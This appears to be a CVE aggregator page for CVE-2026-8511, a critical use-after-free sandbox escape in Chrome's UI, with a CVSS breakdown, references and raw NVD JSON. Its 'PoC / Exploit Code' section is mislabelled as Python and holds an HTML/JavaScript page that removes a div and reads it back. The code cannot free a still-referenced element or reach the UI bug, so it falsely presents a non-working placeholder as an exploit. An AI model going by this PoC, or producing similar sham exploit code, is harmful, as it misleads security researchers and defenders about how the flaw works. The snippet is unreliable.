CVE-2026-8511

Description

Use after free in UI in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)

CVSS Details

CVSS Score

9.6

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-8511 (Conceptual) -->
<!-- This PoC attempts to trigger a Use-After-Free in Chrome UI -->
<!DOCTYPE html>
<html>
<body>
<script>
    // Create target object
    let vulnerable_obj = document.createElement('div');
    document.body.appendChild(vulnerable_obj);

    // Setup event listener to trigger UAF condition
    vulnerable_obj.addEventListener('click', function() {
        // Step 1: Remove object from DOM (Free memory)
        document.body.removeChild(vulnerable_obj);

        // Step 2: Force memory reclamation (Garbage Collection)
        for(let i=0; i<1000; i++) { new Array(1024); }

        // Step 3: Attempt to use the freed object (Crash or Exploit)
        console.log(vulnerable_obj.innerHTML);
    });

    // Auto-trigger the event
    vulnerable_obj.click();
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8511
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8511
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8511/
[4] VulDB https://vuldb.com/cve/CVE-2026-8511
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/495108488

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8511", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:11.707", "lastModified": "2026-05-14T21:19:23.923", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in UI in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/495108488", "source": "[email protected]"}]}}